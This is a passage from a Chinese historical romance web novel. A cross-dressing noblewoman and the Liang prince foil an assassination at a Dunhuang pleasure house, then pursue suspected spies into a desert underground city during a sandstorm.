明宜却在此时开口:“娘子说的可是柔然话?” 叶弥儿面露惊讶:“宋郎君听得懂?” 明宜笑着点头:“我曾听人说过这种话,但也只听得懂一些皮毛。” 叶弥儿来了兴致,激动道:“这世上竟然还有人听得懂我们柔然话。” 明宜好奇问:“叶姑娘是柔然人?” 柔然已被北狄灭国六十多年,阖族痕迹几乎都已消失,不想还有会说柔然话的柔然人存在。 叶弥儿忘乎所以地挪到她身旁,点点头,倒豆子似的道:“嗯,奴家正是柔然人。别看柔然已经灭国多年,但其实我们族人在很多年里,一直都没放弃抵抗北狄,努力复国,可最终还是被北狄赶尽杀绝。仅剩的族人,只能东躲西藏。好在八年前,李郎带河西军在玉门关与北狄大战,不仅赶走了北狄,还救了奴家和族人。” 这位叶老板,似乎有点太直爽了,竟然就这样将身份一五一十地告诉了自己,这难道不是秘辛吗? 见她脸上露出惊讶,叶弥儿又咯咯笑道:“李郎既然能带郎君来望春楼见我,郎君定是他的心腹,这些话没什么不能说的。” 李赟看了眼明宜,淡声道:“ 叶老板算是柔然最后一个公主。” 叶弥儿却是自嘲一笑:“奴家算什么公主?若不是李郎当年相救,我只怕早已在北狄为奴。”说着又小心翼翼举起酒杯,对上明宜,眉开眼笑热络道:“难得还有人知道柔然,听得懂柔然话,奴家必须敬郎君一杯。” 明宜赶紧举杯,正扶着袖子,昂头要饮时,手腕却忽然被人攥住。 “李郎,你这是作何?”开口的是叶弥儿,她见李赟攥着明宜手腕,美眸微微眯起,似有不解。 李赟对上明宜同样狐疑的目光,轻飘飘将手收回道:“望春楼的酒一向烈得很,宋郎君还是不饮为好,免得耽误了事。” 明宜笑道:“那我就少吃一点。” 说着,便轻轻抿了口,果然入口如火烧,烈得很。 叶弥儿哈哈大笑,忽然拍了拍手,几个风情万种的胡姬应声而入。 “李郎,今日你想听什么曲儿?” 李赟看也没多看胡姬一眼,只漫不经心道:“随意。” 叶弥儿不满地撇撇嘴,嗔道:“这么多年了,李郎还是如此无趣。”说着又笑眯眯看向明宜,“宋郎君,你想听什么?” 明宜则是双眼亮晶晶看着一众美貌胡姬,道:“在下自然想听望春楼的招牌曲。” “好。”叶弥儿道,“保管让宋郎君满意。” 说着,她起身款款上前,从一个胡姬手中接过一把琵琶,两腿交叉坐在地上,染着朱红丹蔻的长指,在琴弦上轻轻一拨。 一串美妙弦音,便从她指间流泻而出,有如从仙境传来。 几个胡姬随之绕着她舞动起来。 一时间,光影交错,暗香浮动,丝弦歌舞,如梦如幻。 明宜明明只喝了一口酒,明明自己是个女子,却仿佛当真成了一个男子,倾倒在这美人乡中。 幸而她确实是女子,不过片刻意乱,便很快回过神来,她先是看向叶弥儿,对方身体微微朝她倾斜,但一双美眸,却始终盯着李赟。 那眸光顾盼流转,含情脉脉。 明宜这才后知后觉恍然大悟,只怕这亡国的柔然公主,对小凉王早就暗藏情愫。 也对,李赟对她有救命之恩,也因此有了栖身之地,芳心暗许不足为奇。 思及此,她又侧头不动声色看向身旁的李赟。 却见对方漫不经心把玩着手中酒杯,另一只手随着琴声,轻轻敲击着案几,似是沉浸在这丝弦歌舞中。 只是一如既往地面无表情,毫无沉醉之色,偶尔眼眸微微一抬,从叶弥儿和众胡姬身上扫过,既无倾慕欢喜,也无轻佻狎昵。 神色平淡的,仿佛这些活生生的美人,在他眼中,与一花一草无甚区别。 明宜忽然想起坊间那些关于小凉王的传闻,有英勇善战,有残暴嗜杀,唯独没有风花雪月。 眼下看来,李赟确实不好女色。 只是凉王府如今就只有他这一根独苗,也不知他有何打算? 因为想得太出神,她一时也忘了挪开目光,就这么盯着李赟半晌,直到对方觉察她的目光,歪头朝她看过来。 明宜顿时回神,赶紧欲盖弥彰地端起酒杯,昂头就要灌下,只是杯口还未碰到唇边,手腕再次被李赟攥住。 她微微一怔,斜眼看向他。 李赟将手从她腕上挪开,沿着她手背,隔着一层衣袖,挪到她手指间,将酒杯取下,放回桌面。 明宜这才反应过来,自己差点不小心灌下一杯烈酒,不由得心有余悸般深吸了一口气。 倒是李赟,收回手后,又握着酒杯,继续漫不经心欣赏着琴声。 明宜这会儿彻底清醒,也不再关心叶弥儿和李赟之间的那点微妙,而是想起今晚的正事。 李赟不是来享受美酒乐舞的,他只是用自己这个饵,引飞鹰出洞。 远离凉州的敦煌,落单的小凉王,无疑是一个值得冒险的机会。 她有些紧张地握了握拳头,不动声色看向这间包厢的窗户和房门。 就在这时,砰的一声,窗户忽然被人破开。 几道黑影如鬼魅般,破窗而入,寒光凛凛的刀,朝李赟闪电般刺过来。 而李赟却是镇定自若,手中酒杯化为利箭朝打头那人掷出,紧接着便一脚将身前案几踹开。 明宜只觉得脖领一紧,整个人已经被李赟从地上拎起,随他一道朝身后急速退去,直至脊背抵在结实的墙面。 与此同时,叶弥儿手中琴弦戛然而止,她纤纤玉手从琵琶中抽出一把长剑,高声吩咐道:“布阵,保护李郎!” 几个风情万种的美艳胡姬,手中也都多了利剑,迅速排开阵型,将刺客和墙边的李赟明宜挡开。 叶弥儿从地上一跃而起,如游龙一般,朝其中一个刺客飞掠而去,还不忘高声问道:“李郎,我今日若是帮你抓了这些刺客,你可有奖赏?” 李赟道:“叶老板要什么奖赏,尽管开口!” 叶弥儿笑声如银铃:“宋郎君,你可听见了,来日可要帮弥儿作证。” 明宜被李赟攥在身后,艰难地轻咳一声:“嗯。” 几条红绸从屋顶飞射而入,被几个胡姬攥住,随着位置快速变幻,在烛火摇曳中,顷刻间变成一张巨大的网,将整座屋子都笼罩。 原来这包厢设有机关,难怪李赟如此气定神闲。 刺客总共六个,皆是男子,刀法快如闪电,身手极为诡谲,却轻易便困在胡姬阵法中,如无头苍蝇般想要破开,却又不得其法。 明宜低声问:“阿兄,你的暗卫不用出手么?” 李赟淡声回道:“叶老板若是这几个刺客都处理不了,望春楼也不用在敦煌开下去了。” 明宜了然点头,没再多问,只屏声静气望着屋中混乱状况,下意识攥住对方袖袍。 哗哗几声! 是红绸被利刃割裂。 叶弥儿冷哼一声:“北狄贼子,拿命来!” 她身轻如燕般跃入阵中,下一刻便听到一声痛呼,空中红绸被晕染上了几朵湿润的红花。 李赟轻飘飘道:“给我留两个活口!” “明白!” 胡姬身形急速变幻,那原本破开的绸布,再次变成一道牢不可破的网,将刺客们紧紧困住。 叶弥儿在胡姬们的配合下,很快让三人毙命,剩下三个则如困兽一般,在绸布中疯狂挥刀,却始终无法破出。 “收!” 叶弥儿大喝一声,胡姬们身影瞬时如闪电一般,不过须臾,那红绸大网,消失殆尽,变成了捆在三个刺客身上的绳索。 三人像是粽子似的,被牢牢捆住,还未反应过来,只见叶弥儿拿出一只小瓷瓶,往几人脸上一泼,原本还想挣扎的人,翻着白眼,晕了过去。 叶弥儿展眉一笑,歪头看向靠墙的李赟,拍拍手道:“李郎,我今日表现如何?” 李赟笑说:“十全十美!” 然而就在这时,明宜忽然觉得不对,脑子还未反应过来,手已经本能地拿下墙上烛台,朝叶弥儿脸前砸过去。 “当心!” 烛台先于她的声音,飞向了叶弥儿,不偏不倚挡开了那地上刺客口中射出的飞针。 叶弥儿大惊失色,吓得踉跄后退两步,睁大眼睛看向与烛台一起落在地上的剧毒飞针。 好在那吐针的刺客,已经中了迷药,勉强做出这最后一击后,脑袋一歪,晕了过去。 叶弥儿瘫坐在地,拍着胸口直喘气。 明宜下意识想要上前查看情况,却被李赟抬手制止,然后在墙上轻轻扣了两下,下一刻,几个暗卫便涌进来,迅速处理了地上的残迹。 不过须臾,包厢便恢复如常,像是什么都没发生过一样, 李赟这才走到叶弥儿跟前,问道:“你没事吧?” 叶弥儿摇摇头,惊魂未定地看向明宜:“多谢宋郎君救命之恩。” 明宜摇摇头:“我也只是看到不对,本能用烛台砸过去,是叶老板吉人天相。” 她语气平常,心中却也难免有些后怕,不由得又看向李赟,却见对方神色淡然,显然对于叶弥儿差点为他葬送性命而不以为意。 而后便听他轻笑着开口:“叶老板今晚所为,只能算作十全九美。” 叶弥儿嗔道:“奴家差点丢掉性命!” 李赟轻描淡写道:“两根毒针要不了叶老板的命。”说着又看向明宜,似笑非笑道,“不过……我这位宋郎反应确实快。” 明宜讪讪道:“只是恰好反应过来。” 叶弥儿道:“那你可要好好嘉赏你这位译人。” “那是自然。” 叶弥儿这会儿也缓和下来,笑盈盈道:“我也要好好感谢宋郎君。” 明宜赶紧拱手道:“叶老板不用客气。” 就在这时,两道掌声忽然从窗边响起:“精彩!” 众人循声看去,却见那被刺客撞破的窗牖上,正挂着一个人,一脸落拓不羁的模样,不是陆浪还能是谁? 叶弥儿嗔道:“沙狼,你在这里作何?” 陆浪将手边摇摇欲坠的窗格丢回屋内,随之身形矫捷地一跃而入。 “今晚望春楼这么精彩的大戏,我如何能错过?”说着又啧啧两声,有些遗憾道,“原本还想着一睹小凉王风采,哪知小凉王竟是连刀都未拔!” 叶弥儿冷哼一声:“区区几个北狄贼子,何须劳小凉王出手!” “这倒是。”陆浪笑着点头,又看向明宜,“小凉王身边果然藏龙卧虎,一个小小译人,竟有这等反应,在下佩服。” 说着笑呵呵朝明宜拱拱手。 明宜知道他认得出自己,轻咳一声,装模作样回了一礼。 李赟冷冷扫了眼陆浪,上前一步,隔开他看向明宜的视线,然后轻描淡写对叶弥儿,道:“叶老板,今日多谢,损坏的窗户桌子,记在本人账上。” “那才几个钱?”叶弥儿粲然笑道,“我可是要奖赏的。” “嗯。”李赟漫不经心点头,“你说,你想要何奖赏?” 叶弥儿上前一步,走到他跟前,深邃褐眸含情脉脉地凝望着他,笑靥如花的一张脸,越发显得美艳绝伦。 若是换做其他男子,面对这样一个美人,只怕立马便会拜倒在对方石榴裙下。 然而李赟却始终神色如常,看着叶弥儿的眼神,依旧冷如碎冰。 叶弥儿轻启红唇:“李郎两年未曾来沙洲,这回的奖赏,我可不会客气。” 李赟轻笑,微微眯眼,语气疏淡道:“那叶老板可要想好了。” 叶弥儿微微一怔,她原本还想半真半假的试探,可忽然就有些索然无味。因为她再次清楚地意识到,自己真心想要的,对方绝不会给。 人活在这世上,本就不该太贪心,对方给了自己栖身之地,便已是大恩大德,何必自取其辱。 思及此,她展眉一笑,忽然朝明宜一指:“这样吧,我也不要其他,王爷将这位宋郎君给我如何?毕竟这么多年,难得还有人记得我们柔然话,我和宋郎君也算有缘。而且望春楼来往胡商颇多,正缺译人。” 明宜轻咳一声,下意识抬头看向李赟。 而一旁的陆浪,像是听到什么笑话一般,大声笑起来。 叶弥儿瞪他一眼:“你笑什么?!”说着又笑盈盈望向李赟,“王爷,您看如何?” 李赟侧头看了看身后的明宜,勾了下嘴角,道:“只怕是不行。” 叶弥儿眉头微蹙:“我又不是问你要什么稀世珍宝,要你一个译人如何不能给?” 李赟还未说话,一旁的陆浪先朗声大笑:“叶老板,小凉王的这位译人可不一般,你就算拿稀世珍宝换,他也不会答应。” 叶弥儿狐疑地看向明宜,明宜轻咳一声,与她拱手讪讪笑道:“多谢叶老板厚爱……” 还没想好如何婉拒的话,李赟已经先淡声开口打断她:“叶老板,译人我给不了你,不过前阵子遇到几个你流散的族人,我会帮你安顿好。” 叶弥儿闻言,没再继续好奇明宜,只与他拱手作揖,稍稍正色道:“那就多谢小凉王了。” 李赟点点头,轻笑道:“你我各取所需,不用言谢。”说着,便转身往门外走,“那我就不叨扰了,祝叶老板生意兴隆。” 明宜赶紧跟上。 叶弥儿望着男人高大背影,朗声笑道:“欢迎李郎再来!” 李赟:“好说。”说着,想到什么似的,回头瞥了眼叶弥儿身旁的男人,“沙狼,看来你在盯着本王?” “草民不敢,草民只是恰好来望春楼吃酒。”陆浪忙拱手,说着又轻笑道,“不想撞见王爷佳人相伴!” 叶弥儿轻啐一口:“你个沙狼,休要胡说八道!” 沙狼嗤了声,撇撇嘴道:“我这佳人又不是在说叶老板!” 叶弥儿一头雾水,又看了眼门口的李赟,对方今日明明就只带了个译人,哪里有什么佳人? 还没反应过来,人已经离开。 又要抓着沙狼要问清楚,对方也已跃出窗户,遁入夜色中。 * 大堂里依旧歌舞升平,觥筹交错,没人知道楼上刚刚发生过什么。 “刚刚多亏弟妹反应及时。” 上了马车,李赟的声音在夜色中响起。 明宜轻笑道:“我也是情急之下的反应。”说着又小心翼翼试探问,“叶老板是阿兄在敦煌的暗线?” 李赟淡声道:“她和族人流离失所多年,需要一处栖身之地,而沙洲乃西域门户,北狄入侵必经之地,我也需要一些官府衙门拿不到的情报。本人一向物尽其用,人尽其才,我救了她,她便为我所用,我们有共同的敌人,各取所需,互不相欠。” 一个权倾一方的小凉王,一个亡国公主,郎才女貌,英雄救美,明宜原本想从两人的关系中,捕捉一丝风月。 但很可惜,李赟语气疏淡得实在让人没有半点遐想。 好一个“物尽其用,人尽其才”,明宜忽然想到了自己,看来自己也是在被对方“人尽其才”。 只用其才,而无关风月,这是好事! 思及此,她心中那根隐隐绷着的弦,忽然松下来,以至于忍不住低低笑出声。 “弟妹笑甚么?”李赟低沉的声音在黑暗中响起。 明宜欲盖弥彰般轻咳了下道:“阿兄说得很有道理。” 李赟似是低低笑一声,没再说什么—— 作者有话说:李赟:我对弟妹,不仅要人尽其才,也要风月 第43章 第 42 章 弟妹与我乃一家人,不必…… 回到官舍, 听到动静的周子炤,风风火火跑出来。 “表兄,听说你带三娘子去望春楼了?怎么不带我?”说着又往李赟身后看了看, 咦了声, “三娘子呢?” 明宜笑着上前:“表兄——” 因她还是男子声音,吓得周子炤连连往后退了两步, 抬手指着她, 支支吾吾道:“你……你是三娘子?” 明宜抬手将脸上胡须撕下来,又清了清嗓子, 只是这药效还未过, 发出的依旧是男子声音:“我吃了变声的药。” 周子炤眨眨眼睛, 借着灯光看去面前的人, 忽地又笑得乐不可支:“还真有这种药?有没有能变女子的,回头我也好扮一回女子。”说着嗔怨道, “你们出去玩作何不带我?” 明宜道:“阿兄不是去玩, 是为引蛇出洞。” “啊?”周子炤面露惊讶,又急急道,“阿兄遇到刺客了么?有没有受伤?” “我无碍, 他们应只是试探虚实, 没派出什么不得了的刺客。”李赟轻描淡写道, “我还要去审那北狄刺客,你们二人早些歇息。” 明宜瞧了眼天色,已是月上中天,果然是兢兢业业的小凉王。 * 刺史府地牢。 哀嚎声声, 茶香缭绕。 只是吴刺史却怎么都喝不出手中茶水的味道,一颗心只随着嚎叫扑通扑通直跳,眼睛都不敢朝那几个北狄刺客看去。 他这地牢也审过不少犯人, 各种刑具一应俱全,但手段与小凉王手下的人相比,实在是小巫见大巫。 他如今算是知道了什么叫求生不能求死不得。 而对面的小凉王本人,却始终老神在在一般,一边慢条斯理品着茶,一边轻飘飘盯着惨不忍睹的几人,面上不曾有一丝波澜。 不知过了多久,两人终于抵不住痛苦,晕死过去,剩下一人见状,开始呜呜摇头。 楚飞上前,将塞在口中防止咬舌自尽的布条抽出来,又掐住其下颚,冷声问道:“有话要说?” 刺客含含糊糊:“城……城外西北五十里处,有一座地下城,人……人在那里!” 一句话似是已经用尽全身力气,楚飞见他没有话再说,又将布条塞回其口中,转身拱手道:“王爷!” 李赟转头看向吴刺史。 吴刺史面色惨白,反应过来赶紧跪地,摇头道:“臣……不知有这地下城啊!” 李赟倒也没怪罪他,只冷哼一声,吩咐道:“将人看管好,清点几个熟悉方位的精兵,随我出城。” 吴刺史忙拱手应“喏”。 黑夜的刺史府经过短暂的一阵喧杂后,又归为平静,而睡梦中的明宜对此一无所知。 及至薄暮晨光之时,忽然有人来敲门。 被吵醒的白芷嘟囔问道:“谁啊?” 门外的仆从压低声音回道:“白芷姑娘,可否转告侯夫人一声,沙狼有急事找她!” 白芷还有些迷糊:“什么沙狼?” 倒是里面的明宜清醒过来,高声应道:“他人在哪里?” “就在刺史府门口。” 明宜赶紧坐起身,脸也没洗,只换上衣裳,便出门让仆从引路。 白芷还在里面叫道:“娘子,你等等我。” 明宜头也不回道:“你且继续睡吧。” 走到院中,她想到什么似的,朝李赟紧闭的房门瞥了眼,随口问那仆从:“王爷出门了?” 仆从点头:“回侯夫人,王爷天没亮就和刺史大人去缉拿北狄细作了。” 明宜眉头微微蹙起,莫非是昨晚那几个刺客招了?她当然不怀疑小凉王审人的本事,但这些刺客都是死士,当真会出卖同僚? 不过眼下也不是想这些的时候,这会儿天才露鱼肚白,也不知陆浪是有什么急事。 而对于刺史府的守卫会替沙狼通报,她倒是不觉奇怪,能成为沙洲流民之首,这刺史府定然也有他的关系。 表面上不跟公门打交道罢了。 大门咯吱一声打开,门口的陆浪,立刻迎上深深行了礼道:“侯夫人,草民有事相求!” 薄暮下,他那落拓不羁的脸上,难得浮着一丝慌张。 明宜蹙眉问:“发生何事了?” 陆浪看了看她身后的侍卫。 明宜会意,赶紧吩咐人退后。 陆浪这才低声焦灼道:“王爷似乎是把我一伙朋友当做飞鹰,正出城去缉拿他们。我那群朋友性情刚烈,只怕不会束手就擒,以小凉王的做派,我怕他会原地将人斩杀。”说着又与明宜作了一揖,“还请夫人随我一起去阻止王爷大开杀戒。” 明宜先是怔忡了下,但很快便反应过来:“王爷昨晚抓了北狄刺客,眼下便出城去缉拿飞鹰,你的意思是,那些刺客故意陷害你的朋友?” 沙狼抿抿唇:“据我猜测,应是如此。” 明宜望着他,忽然笑了笑:“看来阁下在刺史府确实有眼线。” 沙狼轻咳一声:“这个不重要。”说着拱拱手,“还请侯夫人随我一起出城,再迟我怕就来不及了。” 明宜瞥了眼蒙蒙天色,眉头微微蹙起,问道:“我如何相信你说得是实话,又如何知道你那些朋友确实与飞鹰无关?再或者,我一个弱女子,如何就敢跟随只打过两次照面的男子出城?” 陆浪一时哑然,片刻才讪讪道:“夫人说得在理,是草民考虑不周。” 明宜却是轻笑出声,转头吩咐门口等候的仆从:“还请速速与我牵一匹马来。” 陆浪有些惊愕地睁大眼睛看向她。 明宜道:“希望能赶得上阻止王爷滥杀无辜。” 陆浪长舒一口气,笑道:“侯夫人大恩大德,草民定当涌泉相报。” 比起施恩,明宜更在意的是对方口中的朋友:“你的朋友是什么人?” 沙狼轻咳一声:“夫人见谅,在下不便透露他们身份。” 明宜一时无语,好笑道:“你不告诉我他们身份,却又叫我去救人?这是哪门子的道理?” 沙狼摸摸鼻子,没说话。 明宜也并不追问,什么身份,见了便知。 仆从很快为她牵了马来,两人出城时,城门恰好打开,这会儿天色还尚早,一路策马狂奔,几乎见不到几个人影,只有黄沙遍野。 “到了!” 约莫一个时辰,沙狼忽然“吁”了一声,勒紧辔绳,将疾驰的马儿停下。 跟在后面的明宜也随他勒马。 她坐在马背,环顾了下四周,茫茫沙海,一望无际,只有她和陆浪,心中忽然后知后觉意识到自己有多莽撞,竟然只身一人随个陌生男子入沙漠。 陆浪走过来,朝她伸出手,要扶她下马。 明宜却是摇摇头,自己纵身一跃而下。 陆浪微微一怔,继而又轻笑了笑:“看来侯夫人也并非弱女子。” 明宜不置可否,只蹙眉问道:“这是……” 陆浪指了指不远处两颗巨大的胡杨树下:“那里有一座不为人知的地下城,我朋友平时就住在里面。” 明宜眯了眯眼睛,没看出来那沙地之下藏着城池,也难怪不为人知。 她笑了笑道:“看来你的朋友是沙匪。” 陆浪不置可否,只蹲下身去检查地上痕迹,昨晚风沙大,才停歇不久,沙上留下的痕迹早被吹散,但他是沙狼,自然能辨别。 · 片刻后,男人蹙了蹙眉道:“只怕小凉王已经来过。” 明宜一怔:“但我们刚刚一路来,没遇到他们返程,所以他还未抓到你的朋友,只怕还在继续追捕。” 陆浪深呼吸一口气:“我先下去看看。” 他说的是“我”,但如今就只有两人,明宜自然也要一起下去。 两人疾步走过去,将马系在胡杨树上,明宜这才发觉沙下藏着一块大石,足有两三百斤。 明宜正想着,他们二人如何移得动,只见沙狼伸出双臂,紧紧抱住那石头,随着细细的声响,石头竟被他成功挪开。 这神力,不愧是武状元。 随着大石的挪动,周围的细沙,缓缓流入坑中。 沙狼领着明宜踏入地洞,又将石头移回原位,以防通道被沙堵住。 “跟着我!”他从胸口掏出一支蜡烛,用火折子点上。 原本黑暗的通道,顿时有了光。 明宜默默跟在他身后,一路好奇打量,不过片刻,狭小的通道,陡然变得宽敞,两侧的石头墙上,在烛火下,依稀可见各种壁画。 她曾在书上看过,茫茫沙海中,曾有过许多依靠绿洲而生的小国,不少盛极一时,只是或因战乱,或因水土流失,最终消失在黄沙之中。 又行了一段,视线豁然开朗,只是蔓延断壁残垣,陆浪走到一处,弯身摸了摸一个烛台:“还有余温,应该没离开多久,我们赶紧去追!” 说罢,便转身疾步往回走,只是走了几步,却不见明宜动静,转头借着手中烛火望对方看去,却见她一动不动盯着一处断墙。 “你看什么?”陆浪走过来,拿烛火照向那断墙,那上面用木炭画着几道符一样的东西。 明宜问:“这是什么?” 陆浪摇头:“应该是他们内部通行的一些记号,以防外人看懂。” 明宜看了他一眼。 陆浪无奈地摊摊手:“我真不知是什么。” “是么?”明宜扯了下嘴角,“如果我没猜错,你的朋友乃是北庭秦家军残兵。” 陆浪面色一怔,又苦笑道:“侯夫人果然博闻强记,只靠几个记号,就认出他们身份。” 明宜若有所思蹙了蹙眉,没再说什么,只兀自朝原路返回:“走吧!” 大宁曾有一位将军,名叫秦飞扬,驻守北庭多年,一度让北狄闻风丧胆。 然而十二年前,秦将军却因自大轻敌,致使五万北庭军战死沙场,北庭大半土地落入北狄手中。 秦氏夫妇虽然战死沙场,尸骨无存,但仍旧未能消减天子怒,最终秦家满门抄斩。 那时明宜才六七岁,但她对此事却印象深刻,乃是因为秦飞扬留在长安的长子,是他祖父门生,被斩首时不过十七岁。 此后几年,坊间时有传言,秦将军乃是被奸人所害,也有人试图为其翻案,但最终都不了了之。 秦将军的名字,也渐渐随着时光流逝被湮没,渐渐再没有人提起。 * 从地下城出来,风沙渐大,陆浪见明宜双眼被吹得眯起,想到她乃是养尊处优的长安贵女,心中不免有些愧疚。 他顶着风沙,朝对方拱手道:“不管我朋友能否得救,侯夫人的恩情,在下定当涌泉相报。” 明宜将被风沙吹歪的发冠系紧,道:“别说这些,我们赶紧去追!” “嗯。”陆浪点头。 两人解了马,迎着风沙继续北行。 原本升起的朝阳,渐渐被风沙遮盖,一望无际的沙海,变成一片混沌。 明宜双眼被风沙迷住,满鼻满口都是沙尘,身下的马儿也开始不听使唤,不愿再顶风前行。 眼见要迷了方向,前方忽然出现乌泱泱一群人马。 明宜费力睁开眼睛看过去。 不是李赟一行,还能是谁? 他们约有百来人,此时围成了圈,因为里里外外围了几层,她并未看清李赟在哪里,只隐约看到一圈弓箭手正拉弓上弦,将箭对准圈中背抵着背的七八人。 那几人似乎都已伤痕累累,但仍旧死死攥着武器不放。 “阿兄——”明宜大声呼唤,但刚刚开口,声音便被风沙吞没。 与此同时,马背上的李赟,正眯眼看着前方几人,高声冷喝道:“若再不束手就擒!休怪本王无情!” 那几个沙匪却依旧未放下武器,只是靠得更紧,大有殊死一搏的架势。 李赟已然没了耐心,趁着一阵风沙吹过,抬手猛地一挥。 几十只利箭在下一阵风沙抵达前,朝被围的几人射过去,到底还是受风影响,这些箭的威力被大大削弱,但还是有人被射中。 那打头的身手最好,凭着一己之力,便用手中那把大刀,挡下了十余只箭,只是因为首当其冲,到底没能避免一根利箭刺入肩头。 而她虽然是男子打扮,面颊黢黑,却还是看得出是个女郎。 但弓箭手很快再次上弦。 “箭下留人!” 就在第二波箭雨再次落下时,一道身影裹挟着沙尘,忽然从人群中一跃而入,一把长刀斩开纷乱的箭雨。 正是陆浪。 他挥刀从空中跃下,在地上打了个滚,用身体挡在狼狈的几人跟前。 “你们没事吧?”他转过头,看了身后的人,高声开口问道。 那女子点点头:“你怎么来了?” 只是声音被再次袭来的风沙裹挟,几不可闻。 这回的风沙,比之前更加凶猛,几近遮天蔽日,马儿开始不受控地嘶鸣吼叫,弓箭手也再难握稳手中的箭。 李赟瞥了眼陆浪,想到什么似的,回过头去,果然看到一道身影,正在风沙中艰难朝这边而行。 虽然影影绰绰,但他还是看出是明宜。 “王爷——”吴刺史捂着口鼻忧心忡忡在他耳畔高声道,“沙暴要来了——我们快走——” 李赟将目光从明宜身上收回,调转马头,大喝一声:“撤!” 众人也没再管地上那些人,赶紧骑马跟上。 明宜见状总算是松了口气,只是看到空中滚滚沙尘,她哪里见过这阵仗,不免心惊胆战,待李赟骑过来,大声道:“阿兄,我们先去地下城躲躲。” 李赟没说话,只是抬手示意她赶紧跟上。 明宜哪敢耽搁,夹紧马肚,拉紧辔绳,用力跟上。 好在地下城并不远,赶在那乌压压的沙暴赶上他们之前,一行人顺利进入了地下躲避。 那吴刺史一面吐着口鼻中的沙,一面心有余悸地拍着胸口:“出来还好好的,不知道怎的沙暴忽然就来了,咱们沙洲不怕雨不怕雪,就怕沙暴。若是在城中,尚且还能躲在屋中,若是恰好在沙漠中,那沙暴是要人命的。”说着又借着烛火,看向脸色沉沉的李赟,笑呵呵继续道,“王爷不用担心,飞鹰那群人都受了伤,也没有马匹骆驼,只怕这会儿都已葬身沙暴。” 李赟却对他的话置若罔闻,而是眯眼望着身旁满身狼狈,正在擦拭鼻间沙尘的明宜,一字一句冷声问道:“弟妹为何会与沙狼一起?” 明宜被沙尘塞了满嘴,这会儿才勉强喘着气开口:“沙狼告诉我那些人并非飞鹰,让我来帮忙跟你说,以免滥杀无辜。” 李赟冷笑一声:“他说你便信?还敢只身一人与他一起出城?” 他头上面上也沾满了沙尘,却浑不在意,只是面带愠怒地望着面前女子,语气也十分冷冽。 原本还陪着笑的吴刺史,赶紧拉着不明所以的楚飞,往后退开了几米远,直直贴到了断墙根处。 明宜有些尴尬地轻咳一声,低声道:“我……觉得沙狼的品性应该能信得过。” 李赟:“你才见他几次,就觉得信得过?”说着若有所思般看了看她,一字一句道,“还是说你知道他本是何人?” 明宜心头一惊,讪讪笑了笑:“阿兄说笑了。”为了不让他深究,她赶紧拉起他的手臂,一手举起烛火,朝前方一处断壁走去,“阿兄,你随我来。” 李赟目光落在握着自己手臂的那只手。 换做寻常人,谁敢这般拉着小凉王? 但他没恼,也没挣脱开,只是微微蹙了蹙眉头,还稍稍抬了抬手臂,让对方拉得更顺手。 明宜走到那断壁前,将攥着李赟的手松开,指着上面的符号:“你看这个?” 李赟先是瞥了眼骤然变轻的手臂,这才缓缓朝断壁看去,他双眸眯了眯:“北庭秦家军的记号?” 明宜见他认得这符号,顿时松了口气,点点头道:“他们应是秦家军残兵,五万秦家军死于北狄之手,他们不可能是北狄细作。” 李赟望着断壁上的记号,沉默不语,及至楚飞悄无声息从后面冒出来问道:“王爷,你们在说甚?” 与他一起冒出来的,还有吴刺史。 李赟淡声道:“那些人不是飞鹰。” “啊?”楚飞和吴刺史齐齐惊道。 “他们是北庭秦家军残兵。” “啊?” “啊什么啊?” “吴刺史!” “下官在!”吴刺史赶紧拱手应道。 “你和楚飞带人去把那几个残兵带回来,不得伤人。” “啊?”吴刺史为难道,“可外面沙暴……” 李赟似是被两人“啊”得有些烦躁,语气不悦道:“正是有沙暴,才让你们去救人。” 吴刺史闻言叫苦不迭,但又不敢违抗命令,正要硬着头皮应“喏”,明宜见状开了口:“阿兄,吴刺史说得对,眼下有沙暴,就算他们出去,也不见得能遇上那些人,指不定还会出事。” 吴刺史忙不迭点头,满脸感激。 倒是楚飞一副无所谓的样子,蠢蠢欲动就要出去。 明宜又道:“况且秦家军出事已是十二年前的事,他们在大漠流散这么多年,还做了沙匪,定然有在沙暴中生存的本事,不如等沙暴过了,再去寻人。” “侯夫人说得在理。”吴刺史赶紧附和道。 李赟看了看明宜,终于还是点头:“嗯,那就等沙暴过去。” 明宜终于是松了口气,借着烛火瞥到李赟玄衣上厚厚一层沙土,下意识伸手轻拍了拍:“阿兄,你身上好多沙子。” 李赟垂眸,只见一直素手从自己胸前拂过,明明隔着两层薄衫,他却似清晰感觉对方指腹间的温度。 只是还未仔细感受,又有两只爪子伸过来,分别拍在自己后背和肩头,发出啪啪啪的声响。 正是献殷勤的吴刺史和关心他的楚飞。 “王爷,这尘土看着多,拍拍就干净了!” 明宜见状,顺势收回手,稍稍退后一步,任由两人一前一后发挥。 李赟深呼吸一口气,没好气道:“够了!” 两人这才停下手上动作。 李赟沉着脸抖了抖袖子,道:“去差人看看沙暴现在是何情况?” 吴刺史忙去照办。 李赟又对楚飞道:“你带人仔细将这地下城搜查一番。” 楚飞拱手应“喏”。 两人一走,这小小一处,又只剩明宜和李赟。 李赟指了指旁边一处石墩,示意她坐下。 明宜从善如流。 待坐定后,将手中烛火在旁边一处断壁上滴了两滴蜡,趁着蜡未干,将蜡烛立好。 烛火摇曳间,李赟也在离她半尺的距离坐定。 此时这如洞穴一般的地下城,因挤了百来人,看着倒是热闹,没了原本的幽静鬼魅。 李赟解下腰间水囊递给明宜。 明宜这才意识到自己带的水囊挂在马鞍,这会儿口中还有不少沙土,这水还真是瞌睡来了有人递枕头。 不过她也没立马接过来,而是问道:“阿兄不用么?” 李赟道:“你先用吧。” 小凉王虽然心狠手辣,但一路来确实是个君子做派,明宜不好与他客气,便接过水囊。 她抽了塞子,先是抿了一小口漱了漱,才咕咚咕咚喝下两口,嘴巴全程也没触到那囊嘴。 眼下在沙漠中,最缺的便是水,她也不好只顾自己痛快畅饮,感觉原本干涸的喉咙,滋润了不少,便停下,将水囊递还给李赟。 男人接过水囊掂了掂,似是嫌弃水还剩太多,随口道:“弟妹怎的就喝这点?” 明宜轻笑:“够了。” 李赟倒也没再说什么,也只象征性地喝了两口。 就在这时,楚飞蹭蹭跑过来,抱怨道:“王爷,你说那些人不是飞鹰,那总是沙匪吧,但这地下城除了些简陋的日常用品,一件值钱的玩意儿都没有,这秦家军沙匪做得也未免太穷酸。” 李赟淡声道:“说明他们没做多少劫掠的勾当。” 或许同为边将,李赟对秦家军的态度,明显与常人不大相同。 明宜试探问:“阿兄,你打算如何处置他们?” 李赟还未回答,楚飞先道:“自然是先将人抓到,若是当真与飞鹰没关系,那便留他们一命。” 